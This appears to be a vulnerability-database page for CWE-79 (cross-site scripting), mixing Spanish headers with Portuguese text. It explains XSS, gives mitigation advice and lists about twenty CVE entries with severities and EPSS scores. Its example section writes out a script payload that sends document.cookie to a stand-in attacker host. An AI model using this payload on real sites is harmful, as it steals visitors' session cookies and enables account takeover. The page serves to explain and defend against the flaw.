Fallos del tipo CWE-79

28.832 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0523MEDIUMAn issue has been discovered in GitLab affecting all versions starting from 15.6 before 15.8.5, 15.9 before 15.9.4, and 15.10 before 15.10.1EPSS 0.6%CVE-2022-0243HIGHCross-site Scripting (XSS) - Stored in orchardcms/orchardcoreEPSS 0.6%CVE-2020-36709MEDIUMPage Builder: KingComposer < 2.9.4 - Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-5060HIGHCross-site Scripting (XSS) - DOM in librenms/librenmsEPSS 0.6%CVE-2024-4512LOWSourceCodester Prison Management System edit-profile.php cross site scriptingEPSS 0.6%CVE-2025-49557HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2021-42703MEDIUMAzeoTech DAQFactoryEPSS 0.6%CVE-2021-27911HIGHXSS vulnerability on contacts viewEPSS 0.6%CVE-2022-45387MEDIUMJenkins BART Plugin 1.0.3 and earlier does not escape the parsed content of build logs before rendering it on the Jenkins UI, resulting in aEPSS 0.6%CVE-2018-3764—In Nextcloud Contacts before 2.1.2, a missing sanitization of search results for an autocomplete field could lead to a stored XSS requiring EPSS 0.6%CVE-2022-0447—Post Grid < 2.1.16 - Reflected Cross-Site Scripting via post_typesEPSS 0.6%CVE-2022-43967MEDIUMConcrete CMS (formerly concrete5) below 8.5.10 and between 9.0.0 and 9.1.2 is vulnerable to Reflected XSS in the multilingual report due to EPSS 0.6%CVE-2026-41472MEDIUMCyberPanel < 2.4.5 Stored XSS via AI Scanner DashboardEPSS 0.6%CVE-2024-43723MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2022-43968MEDIUMConcrete CMS (formerly concrete5) below 8.5.10 and between 9.0.0 and 9.1.2 is vulnerable to Reflected XSS in the dashboard icons due to un-sEPSS 0.6%CVE-2024-43715MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2024-43714MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2024-43724MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-4321HIGHCross-site Scripting (XSS) - Stored in cockpit-hq/cockpitEPSS 0.6%CVE-2024-26367MEDIUMCross Site Scripting vulnerability in Evertz microsystems MViP-II Firmware 8.6.5, XPS-EDGE-* Build 1467, evEDGE-EO-* Build 0029, MMA10G-* BuEPSS 0.6%